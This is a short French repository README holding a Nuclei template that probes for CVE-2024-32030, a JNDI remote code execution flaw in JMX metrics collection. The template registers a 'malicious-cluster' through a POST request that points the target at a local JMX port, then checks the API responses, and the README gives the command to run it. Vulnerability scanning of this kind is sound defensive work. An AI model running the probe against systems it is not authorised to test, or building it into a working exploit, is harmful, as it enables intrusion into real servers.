
Nuclei template pour détecter la vulnérabilité CVE-2024-32030 d'exécution de code à distance via JMX JNDI par connexion serveur malveillante.
Ce dépôt contient un modèle Nuclei pour détecter la vulnérabilité CVE-2024-32030. Cette vulnérabilité permet une exécution de code à distance via la résolution JNDI de la collection de métriques JMX.
id: CVE-2024-32030
info:
name: CVE-2024-32030 JMX Metrics Collection JNDI RCE
author: Hüseyin TINTAŞ
severity: critical
description: >
CVE-2024-32030 JMX Metrics Collection JNDI Resolution Remote Code Execution Vulnerability.
This template checks for the presence of the vulnerability by attempting to connect to a malicious JMX server.
tags: cve, cve2024, jmx, rce, cve2024-32030
requests:
- method: POST
path:
- "{{BaseURL}}/api/clusters"
headers:
Content-Type: "application/json"
body: |
{
"name": "malicious-cluster",
"bootstrapServers": ["127.0.0.1:1718"],
"metrics": {
"type": "JMX",
"port": 1718
}
}
matchers:
- type: word
part: body
words:
- "malicious-cluster added successfully"
- method: GET
path:
- "{{BaseURL}}/api/clusters/malicious-cluster"
matchers:
- type: word
part: body
words:
- "malicious-cluster"
- method: GET
path:
- "{{BaseURL}}/api/clusters/malicious-cluster/metrics"
matchers:
- type: word
part: body
words:
- "metrics"
Pour utiliser ce modèle, enregistrez-le sous cve-2024-32030.yaml et exécutez-le avec Nuclei :
nuclei -t CVE-2024-32030.yaml -u http://target-server
Pour toute question ou information complémentaire, vous pouvez me contacter via :